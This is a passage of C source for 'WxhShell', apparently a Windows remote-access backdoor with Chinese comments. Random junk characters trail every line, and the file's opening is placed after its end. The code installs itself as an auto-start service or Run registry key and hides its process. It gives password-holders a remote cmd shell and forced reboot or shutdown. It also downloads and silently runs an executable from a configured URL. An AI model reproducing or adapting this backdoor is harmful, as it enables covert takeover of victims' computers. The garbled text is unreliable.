    ExitThread(0); ``WTg4C(Y  
    } cWkg.ri-x  
    break; 6AAvsu:  
    } H:~p5t  
  // 关机 -`k>(\Q< d  
  case 'd': { bu _ @>`S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~rBFP)  
    if(Boot(SHUTDOWN)) +QFKaS<sn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FQ<x(&/NF  
    else { C{J5:ak  
    closesocket(wsh); hUlRtt  
    ExitThread(0); AfTm#-R  
    } pKc!sd C  
    break; G7 UUx+X  
    } AhF@  
  // 获取shell _h-agn4[i  
  case 's': { XZ |L D#  
    CmdShell(wsh); <=7nTcO~  
    closesocket(wsh); '0+I'_(  
    ExitThread(0); #AGO~#aK  
    break; crIF5^3Yby  
  } as:l1S   
  // 退出 Pw<?Dw]m  
  case 'x': { {S=<(A @  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f 3H uT=n  
    CloseIt(wsh); MT>sRx #  
    break; 9!n:hhJM  
    } pWRdI_  
  // 离开 }+KM"+@$<  
  case 'q': { ElW\;C:K*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W/2y; @  
    closesocket(wsh); 2.Vrh@FNRo  
    WSACleanup(); =T[P  
    exit(1); Wa^Wn +r  
    break; G!I++M"  
        } [}4zqY{  
  } &s`)_P[  
  } FvT4?7-  
%0-oZL  
  // 提示信息 $ Lstq_x+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uBww  
} eV?%3h.   
  } j-1V,V=  
|-=-/u1  
  return; jI8`trD  
} mx}5":}  
K`N$nOw  
// shell模块句柄 bDvGFSAH  
int CmdShell(SOCKET sock) U^7hw(}me  
{ ~},H+A!?  
STARTUPINFO si; AJ/Hw>>$?m  
ZeroMemory(&si,sizeof(si)); rd->@s|4mT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KJT N"hF   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uY~mi9E  
PROCESS_INFORMATION ProcessInfo; $R #_c}  
char cmdline[]="cmd"; J0IKI,X.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \5}PF+)|  
  return 0; [ 6VM4l"  
} c_qox  
^IiA(?8  
// 自身启动模式 28^/By:J  
int StartFromService(void) h{mzYy} b  
{ l)$mpMgAD  
typedef struct my sXgS&S  
{ bsu?Q'q  
  DWORD ExitStatus; @] .s^ss9_  
  DWORD PebBaseAddress; E4Q`)6]0  
  DWORD AffinityMask; mdL T7  
  DWORD BasePriority; k`>qb8,  
  ULONG UniqueProcessId; M %zf?>])  
  ULONG InheritedFromUniqueProcessId; +DSbr5"VlB  
}   PROCESS_BASIC_INFORMATION; %t_'rv  
=Jl\^u%H(x  
PROCNTQSIP NtQueryInformationProcess; *P *.'XM  
Ds] .Ae  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mL1ZSX o!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D7pQWlN\  
eW.qMx#:od  
  HANDLE             hProcess; wOL%otEf  
  PROCESS_BASIC_INFORMATION pbi; 5L6.7}B  
aEdMZ+P.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Jy:@&c  
  if(NULL == hInst ) return 0; }%wP^6G*x\  
 P:6K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %tkqWK:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #p=+RTZ<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); # d"M(nt  
rMG[,:V  
  if (!NtQueryInformationProcess) return 0; WuVsW3@  
C|H`.|Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~jKIuO/  
  if(!hProcess) return 0; q:up8-LAr  
:D}?H@(69  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZD50-w;  
:6C R~p  
  CloseHandle(hProcess); ce4rhtkV  
zhE4:g9v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D3 +|Os)  
if(hProcess==NULL) return 0; im>/$!&OyI  
X%!?\3S  
HMODULE hMod; 0*^f EoV  
char procName[255]; 4myikeUR_  
unsigned long cbNeeded; ~>]Ie~E: (  
z 4. |N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +7"UF) ~k  
RionKiN  
  CloseHandle(hProcess); muK)Y w[#N  
AnsJ3C  
if(strstr(procName,"services")) return 1; // 以服务启动 _n*gj-  
MmfshnTN  
  return 0; // 注册表启动 ) \cnz  
} 3wgZDF38  
 Mv%B#J  
// 主模块 ,E(M<n|.  
int StartWxhshell(LPSTR lpCmdLine) CZv^,O(M?2  
{ \<=.J`o{  
  SOCKET wsl; Zg])uM]\2i  
BOOL val=TRUE; a- /p/ I-%  
  int port=0; 4=ha$3h$  
  struct sockaddr_in door; j~ qm5}  
ciPaCrV  
  if(wscfg.ws_autoins) Install(); Im`R2_(]  
B<!wh  
port=atoi(lpCmdLine); 6`'KM/   
/P{'nI  
if(port<=0) port=wscfg.ws_port; i;+<5_   
^[ >  
  WSADATA data; 3V/|"R2s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L!W5H2Mc  
49#?I:l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "FfP&lF/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cmLI!"RLe  
  door.sin_family = AF_INET; SQ`ec95',  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MB5X$5it  
  door.sin_port = htons(port); }Tk*?tYt  
 YP}r15P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |VX0o2  
closesocket(wsl); hniTMO  
return 1; Mw $.B#  
} nqujT8  
t4,(W`  
  if(listen(wsl,2) == INVALID_SOCKET) { ]FO)U  
closesocket(wsl); g>Kh? (  
return 1; k{C|{m  
} C'0=eel[  
  Wxhshell(wsl); oo,3mat2C  
  WSACleanup(); 8F`799[p  
N%8aLD  
return 0; kv3V|  
~D Ta% J  
} =^3B&qQNq  
"C%* 'k  
// 以NT服务方式启动 LfS]m>>e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g(zoN0~  
{ /T/7O  
DWORD   status = 0; []eZO_o6j  
  DWORD   specificError = 0xfffffff; q"^T}d d,  
N%+C5e<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]a=Bc~g91  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7tz #R :  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0f|nI8,z  
  serviceStatus.dwWin32ExitCode     = 0; u'EzYJ7  
  serviceStatus.dwServiceSpecificExitCode = 0; EPwM+#|e-  
  serviceStatus.dwCheckPoint       = 0; B6a   
  serviceStatus.dwWaitHint       = 0; lw 9 rf4RF  
>5=uq _QY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RjCEo4b-.H  
  if (hServiceStatusHandle==0) return; XB-l[4?  
BnLE +X  
status = GetLastError(); ~C2[5r{So  
  if (status!=NO_ERROR) 0(dXU\Y  
{ t12 xPtN1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J#& C&S 2  
    serviceStatus.dwCheckPoint       = 0; N,NEg4 q[  
    serviceStatus.dwWaitHint       = 0; S~LT Lv:>  
    serviceStatus.dwWin32ExitCode     = status; -nrfu)G  
    serviceStatus.dwServiceSpecificExitCode = specificError; ('.r_F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @#5PPXp  
    return; T8rf+B/.L  
  } q!zsGf {  
'xY@ I`x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; KFMEY\6\h  
  serviceStatus.dwCheckPoint       = 0; /_*L8b  
  serviceStatus.dwWaitHint       = 0; zmMz6\ $  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )D q/fW  
} YV0K&d  
{$mj9?n=v  
// 处理NT服务事件,比如:启动、停止 ?rn#S8nNx<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2r=A'  
{ l6EDl0~r  
switch(fdwControl) C|A:^6d3=  
{ h .$3 jNU  
case SERVICE_CONTROL_STOP: K+_$ WT_  
  serviceStatus.dwWin32ExitCode = 0; _ mw(~r8R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^g56:j~?  
  serviceStatus.dwCheckPoint   = 0; )FrXD3 p  
  serviceStatus.dwWaitHint     = 0; %v(\;&@  
  { 4^O'K;$leD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "xV9$m>  
  } &t\KKsUtd  
  return; M _z-~G  
case SERVICE_CONTROL_PAUSE: )cy_d!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7BhRt8FSD+  
  break; IuQY~!  
case SERVICE_CONTROL_CONTINUE: T;%ceLD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M6J/S  
  break; ~^Y(f'{  
case SERVICE_CONTROL_INTERROGATE: {6yiD  
  break; 3[L)q2;}$N  
}; 'nM)=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EI29;  
} [=Yfdh M8S  
0#mu[O  
// 标准应用程序主函数 G*|2qX"o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Qx mVImn"  
{ {AY `\G  
@edi6b1W  
// 获取操作系统版本 t3 q0|S  
OsIsNt=GetOsVer(); g[P8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :hp=>^$Y  
P2`!)teN  
  // 从命令行安装 VlVd"jW  
  if(strpbrk(lpCmdLine,"iI")) Install(); In)#`E` g.  
"yI)F~A  
  // 下载执行文件 .TURS  
if(wscfg.ws_downexe) { @])qw_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *HwTq[y  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;q&>cnLDR  
} *p.P/w@1  
hNV" {V3`{  
if(!OsIsNt) { vTD`Ja#h  
// 如果时win9x,隐藏进程并且设置为注册表启动 .s_wP  
HideProc(); H! ZPP8]j>  
StartWxhshell(lpCmdLine); L`ZH.fN  
} 3H%oTgWk  
else g|PVOY+|^  
  if(StartFromService()) ~mtL\!vaM  
  // 以服务方式启动 xOjCF&W  
  StartServiceCtrlDispatcher(DispatchTable); R0M(e@H~  
else _AQ :<0/#  
  // 普通方式启动 l|fOi A*K  
  StartWxhshell(lpCmdLine); +[JGi"ca  
5vL]Y)l  
return 0; {O6f1LuH  
} :Q\b$=,:  
&Q^M[X  
IN!m  
+>oVc\$  
=========================================== Frt_X%  
YXJjqH3  
<BQ4x.[  
74%,v|  
Z^AACKME  
Q^8C*ekfg!  
" itM6S$  
6tM CpSJ  
#include <stdio.h> #5T+P8  
#include <string.h> )L`0VTw'M  
#include <windows.h> !h2ZrT9 _  
#include <winsock2.h> A1p;Ye>o~  
#include <winsvc.h> ocy fU=}X  
#include <urlmon.h> kzGD *  
Nl7"|()e  
#pragma comment (lib, "Ws2_32.lib") >U9*  
#pragma comment (lib, "urlmon.lib") u(SdjLf:  
u(?  
#define MAX_USER   100 // 最大客户端连接数 8J%^gy>m]  
#define BUF_SOCK   200 // sock buffer LZyUlz  
#define KEY_BUFF   255 // 输入 buffer '1=t{Rw  
:a}hd^;[%8  
#define REBOOT     0   // 重启 GLL,  
#define SHUTDOWN   1   // 关机 *;O$=PE  
:a3Pnq$]E  
#define DEF_PORT   5000 // 监听端口 JcZs\ fl9  
j%b/1@I  
#define REG_LEN     16   // 注册表键长度 @q2Yka  
#define SVC_LEN     80   // NT服务名长度 ZYrXav<  
rU5gQq;  
// 从dll定义API VVvV]rU~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y`=A$>A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5>q|c`&}E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H__9%p#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Jk|c!,!  
$\$5::}r  
// wxhshell配置信息 1A">tgA1  
struct WSCFG { )=;0  
  int ws_port;         // 监听端口 W=o90TwbN  
  char ws_passstr[REG_LEN]; // 口令 NZ'S~Lr   
  int ws_autoins;       // 安装标记, 1=yes 0=no KQ xKU?b1  
  char ws_regname[REG_LEN]; // 注册表键名 /_?Ly$>'  
  char ws_svcname[REG_LEN]; // 服务名 nvxftbfE^D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N/Z3 EF_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s*:J=+D]G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z= dEk`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .ev'd&l.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c{6!}0Q4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?Il$f_"B:  
I' ej?~  
}; 4\Y2{Z>P?  
U/m6% )Yx(  
// default Wxhshell configuration 2md1GWyP  
struct WSCFG wscfg={DEF_PORT, 1-1x,U7w  
    "xuhuanlingzhe", \q(RqD  
    1, WL7R.!P  
    "Wxhshell", D&/(Avx.  
    "Wxhshell", d /jO~+jP  
            "WxhShell Service", y|nMCkuX  
    "Wrsky Windows CmdShell Service", Xp{+){Iu  
    "Please Input Your Password: ", b"t!nfgo  
  1, Ja| ! fT  
  "http://www.wrsky.com/wxhshell.exe",  "C B*  
  "Wxhshell.exe" WsTbqR)W%  
    }; $OHY^IE(  
|%g^6RN  
// 消息定义模块 k;R*mg*K  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hUcG3IOBf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j Aw&5,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; amK?LDf]  
char *msg_ws_ext="\n\rExit."; O$E3ry+?  
char *msg_ws_end="\n\rQuit."; 9l@VxX68M  
char *msg_ws_boot="\n\rReboot..."; +iir]"8  
char *msg_ws_poff="\n\rShutdown..."; *{P"u(K  
char *msg_ws_down="\n\rSave to "; +n%uIv  
[7ZFxr\:!  
char *msg_ws_err="\n\rErr!"; AiykIER/  
char *msg_ws_ok="\n\rOK!"; G?{BVWtl}  
X5cl'J(j9  
char ExeFile[MAX_PATH]; \Q|1I  
int nUser = 0; t]#y} V  
HANDLE handles[MAX_USER]; 4iBp!k7  
int OsIsNt; G\?fWqx  
ec[S?-  
SERVICE_STATUS       serviceStatus; r+217fS>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cXFNX<  
<YP>c  
// 函数声明 ^!L'Ao y;E  
int Install(void); # nwEF QA  
int Uninstall(void); .vj`[?T  
int DownloadFile(char *sURL, SOCKET wsh); }a,j1r_Hl&  
int Boot(int flag); DKAqQ?fS  
void HideProc(void); znw\Dn?g  
int GetOsVer(void); .dt7b4.kd  
int Wxhshell(SOCKET wsl); SG2s!Ht  
void TalkWithClient(void *cs); -LJbx<'  
int CmdShell(SOCKET sock); Igt:M[ /  
int StartFromService(void); ".O+";wk  
int StartWxhshell(LPSTR lpCmdLine); N0oBtGb  
}+h/2D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q9H~B`\nQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Kgbgp mW  
p [4/Nq,c  
// 数据结构和表定义 )d!,,o  
SERVICE_TABLE_ENTRY DispatchTable[] = 3xWeN#T0  
{ fHCLsI  
{wscfg.ws_svcname, NTServiceMain}, &*B=5W;6^u  
{NULL, NULL} INOw0E[  
}; X(U CN0#  
oJ\UF S  
// 自我安装 ;t{Ew+s  
int Install(void) ^6bU4bA  
{ Q"n*`#Yt'  
  char svExeFile[MAX_PATH]; Jp=eh   
  HKEY key; (|I:d!>:U  
  strcpy(svExeFile,ExeFile); \/g.`Pe  
&u( eu'Q3  
// 如果是win9x系统,修改注册表设为自启动 Q3vC^}Dmr  
if(!OsIsNt) { <[ />M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vyP3]+n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y8'WR-;  
  RegCloseKey(key); >KmOTM< {  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { obKWnet  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?F1NZA[%t  
  RegCloseKey(key); ?2zVWZ  
  return 0; A9' [x7N  
    } 1{i)7 :Y  
  } I&?(=i)N  
} 47.c  
else { {L5!_] 6  
s!esk%h{K  
// 如果是NT以上系统,安装为系统服务 ^AkVmsv;;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `mXbF  
if (schSCManager!=0) OvqCuX  
{ 6ziiV _p  
  SC_HANDLE schService = CreateService |7XSC,"  
  ( 3o&PVU? Q  
  schSCManager, S C7Tp4  
  wscfg.ws_svcname, /. GHR  
  wscfg.ws_svcdisp, 3e4; '5q;  
  SERVICE_ALL_ACCESS, p\T9 q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /4J2F9:f  
  SERVICE_AUTO_START, bCr) 3,  
  SERVICE_ERROR_NORMAL, .}n,  
  svExeFile, xdb9oH  
  NULL, ,#3u. =IR[  
  NULL, sVtx h]  
  NULL,  =+9.X8SP  
  NULL, \g< 9_  
  NULL Dnn$-W|NC  
  ); .|[ZEXq  
  if (schService!=0) )nmLgsg  
  { ]L#6'|W  
  CloseServiceHandle(schService); i1k(3:ay<  
  CloseServiceHandle(schSCManager); WBD e`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rqbX9M^  
  strcat(svExeFile,wscfg.ws_svcname); vH/ z|<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X_GR{z%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l*_%K}%?V  
  RegCloseKey(key); 5$Lo]H*  
  return 0; T&Z%=L_Q  
    } B7r={P!0  
  } k~f3~-"  
  CloseServiceHandle(schSCManager); 0f~7n*XH  
} iJ.P&T9  
} 7 zo)t1H1  
MDn+K#p  
return 1; H }w"4s  
} Ylbh_ d~BU  
g&9E>wT  
// 自我卸载 ~>u]ow=  
int Uninstall(void) ?w6zq|  
{ >^}nk04  
  HKEY key; Ncr38~;w  
a)J3=Z-  
if(!OsIsNt) { 6(Za}H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +p6cG\Gp  
  RegDeleteValue(key,wscfg.ws_regname); E +\?|q !T  
  RegCloseKey(key); 4a3Xz,[(a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BzBij^h  
  RegDeleteValue(key,wscfg.ws_regname); 6v~` jS%3  
  RegCloseKey(key); 8m,PsUp7  
  return 0; 62lG,y_L  
  } 0sq?;~U  
} LDlj4>%pW^  
} Z* eb  
else { Trd/\tX#v&  
.w5#V|   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vzD3_ ?D  
if (schSCManager!=0) {TT@Mkz_QC  
{ '@enl]J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cx%[hM09  
  if (schService!=0) [pMJ9 d$  
  { YT!QY@qw  
  if(DeleteService(schService)!=0) { =f'MiU!p6  
  CloseServiceHandle(schService); <hlH@[7!  
  CloseServiceHandle(schSCManager); 9F+i+(\,b  
  return 0; rN6 @=uB  
  } Eq$Q%'5*ua  
  CloseServiceHandle(schService); ly`p)6#R=  
  } tY$ .(2Ua  
  CloseServiceHandle(schSCManager); p&1IK8i"  
} S%KY%hUt  
} yNp l0 d  
g-^Cf   
return 1; A*l(0`aWq  
} j" wX7  
e='bc7$  
// 从指定url下载文件 _nw=^zS  
int DownloadFile(char *sURL, SOCKET wsh) i8R.Wl$l  
{ Q*wub9  
  HRESULT hr; (ov=D7>t0  
char seps[]= "/"; o6f^DG3*  
char *token; \+OP!`  
char *file; d"zbY\`  
char myURL[MAX_PATH]; <3\t J  
char myFILE[MAX_PATH]; pT Yq#9  
c +Pg[1-  
strcpy(myURL,sURL); # Sfz^  
  token=strtok(myURL,seps); i<<NKv8;  
  while(token!=NULL) C6Qnn@waYb  
  { B ;Zsp  
    file=token; s_Y1rD*B  
  token=strtok(NULL,seps); SI_{%~k*B  
  } v=Ep  
$Yfm>4  
GetCurrentDirectory(MAX_PATH,myFILE); q^}QwJw  
strcat(myFILE, "\\"); AHsp:0Ma#  
strcat(myFILE, file); G=4Da~<ij  
  send(wsh,myFILE,strlen(myFILE),0); ?>47!):-*  
send(wsh,"...",3,0); rAqg<fR*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TbyQ'MbUv  
  if(hr==S_OK) ) *:<3g!  
return 0; $LUNA.  
else ,ry2J,IT7  
return 1; =IBdnEz:M  
dP0!?J Y  
} B.2F\ub g  
9k.LV/Y  
// 系统电源模块 ?8wFT!J  
int Boot(int flag) EgIFi{q=0  
{ @]lKQZ^2&  
  HANDLE hToken; FY"!%)TV  
  TOKEN_PRIVILEGES tkp; b;\qF&T  
_$/(l4\T[  
  if(OsIsNt) { MNip;S_j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w2y{3O"p=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _[h1SAJ  
    tkp.PrivilegeCount = 1; *ie#9jA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $oK,&_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^!H8"CdC3  
if(flag==REBOOT) { '/ 3..3k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -WP_0  
  return 0; 0hcrQ^BB!b  
} /yn1MW[.  
else { FCQIfJ#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^.jIus5  
  return 0; X tZ0z?  
} R^P~iAO  
  } dix\hqZ  
  else { &O5%6Sv3d  
if(flag==REBOOT) { " M8 j?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2Jrr;"r  
  return 0; cX"[#Em#  
} Zeyhr\T  
else { [(}f3W&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4%2QF F @  
  return 0; 2H fP$.  
} ON _uu]=  
} yd5r]6ej  
yi%A*q~MT  
return 1; 'R8VCj  
} NZYtA7  
3(%hHM7DM  
// win9x进程隐藏模块 sxJKu  
void HideProc(void) YnuC<y &p  
{ LlL\7?_;  
3WS`,}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ymXR#E  
  if ( hKernel != NULL ) Fgxh?Wd9  
  { V^nYG$si  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kvv-f9/-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P (jlWr$$  
    FreeLibrary(hKernel); hf0G-r_ow  
  } fDp_W1yH  
 ^"K  
return; qdm5dQ (c  
} +jO1?:Lr  
,XCC#F(d1  
// 获取操作系统版本 4fw>(d(2  
int GetOsVer(void) &M=12>ah]  
{ enlk)_btp  
  OSVERSIONINFO winfo; V=k!&xN~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $4'I 3{$  
  GetVersionEx(&winfo); z,}1K!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DSYtj} >  
  return 1; C9x'yBDv  
  else b|n%l5 1  
  return 0; m,aJ(8G  
} I>bLgt]u3  
tc\LK_@$/F  
// 客户端句柄模块 %~J90a  
int Wxhshell(SOCKET wsl) n' 73DApW  
{ +cM;d4  
  SOCKET wsh; ?(>7v[=iT  
  struct sockaddr_in client; !tv3.:eT  
  DWORD myID; 2:MB u5**  
YTQ|Hg6jO  
  while(nUser<MAX_USER) W!.UMmw`  
{ $$<9tqA  
  int nSize=sizeof(client); >BMJA:j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7<x0LW  
  if(wsh==INVALID_SOCKET) return 1; 4O9HoX#-?  
Q#urx^aw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); VXZdRsV8T  
if(handles[nUser]==0) 511^f`P<  
  closesocket(wsh); rI o`n2  
else a+)Yk8%KY  
  nUser++; yfiRMN"2  
  } +che Lc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _a8^AG  
IE: x&q`3  
  return 0; }fZT$'*;  
} a2v UZhkR  
HB{w:  
// 关闭 socket !;pmql  
void CloseIt(SOCKET wsh) ^=bJ _'  
{ F0o7XUt  
closesocket(wsh); 6.~HbN  
nUser--; M3K+;-n^  
ExitThread(0); E0\ '  
} ss T o?WL|  
4o9#B:N]J  
// 客户端请求句柄 35) ]R`f  
void TalkWithClient(void *cs) Hlp!6\gukp  
{ eT[ ,k[#q  
fU!C:  
  SOCKET wsh=(SOCKET)cs; VvSD &r^qI  
  char pwd[SVC_LEN]; KArf:d  
  char cmd[KEY_BUFF]; Ig"Krz  
char chr[1]; Se*ZQtwE  
int i,j; <d# 9d.<  
YN n,{Xi  
  while (nUser < MAX_USER) { y^Oj4Y:  
+Nv&Qu%  
if(wscfg.ws_passstr) { eg~$WB;1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zv  <,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [X#bDO<t  
  //ZeroMemory(pwd,KEY_BUFF); +>KWY PH  
      i=0; ?qAX *j  
  while(i<SVC_LEN) { u Zz^>* b  
!9356) cV  
  // 设置超时 Ayc}uuu  
  fd_set FdRead; )_ NQ*m  
  struct timeval TimeOut; L:%ek3SOz  
  FD_ZERO(&FdRead); "}*P9-%  
  FD_SET(wsh,&FdRead); ;dRTr *  
  TimeOut.tv_sec=8; ,COSpq]6  
  TimeOut.tv_usec=0; SLSJn))@!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .MhZ=sn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;EW]R9HCH  
_MR|(mV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R)WvU4+U  
  pwd=chr[0]; @bmu4!"d  
  if(chr[0]==0xd || chr[0]==0xa) { 9x?" %b  
  pwd=0; %g5weiFM  
  break; (+4gq6b  
  } {{ R/:-6?@  
  i++; K*'(;1AiW  
    } t&mw@bj  
9j49#wG0"B  
  // 如果是非法用户,关闭 socket wHWd~K_q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2fO ~%!.G  
} 6NZ3(   
RxAWX?9Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]d9;YVAU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JiDX|Q<c  
x/~V ZO  
while(1) { r,2x?Qi  
sw'20I  
  ZeroMemory(cmd,KEY_BUFF); Nj %!N  
nFzhj%Pt;  
      // 自动支持客户端 telnet标准   8 fVI33  
  j=0; `dMOBYV  
  while(j<KEY_BUFF) { \x(J v Dt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Kk!D|NKLC  
  cmd[j]=chr[0]; 1zGEf&rv:  
  if(chr[0]==0xa || chr[0]==0xd) { l|%7)2TyG)  
  cmd[j]=0; #h /-  
  break; ym2\o_^(  
  } uDafPTF  
  j++; 8|dl t$  
    } B:n9*<v(  
-F4CHpua  
  // 下载文件 ?%JH4I2  
  if(strstr(cmd,"http://")) { s_.q/D@vu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ykRKZYfsw(  
  if(DownloadFile(cmd,wsh)) b?CmKiM%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *=MC+4E  
  else !z{bqPlFGG  
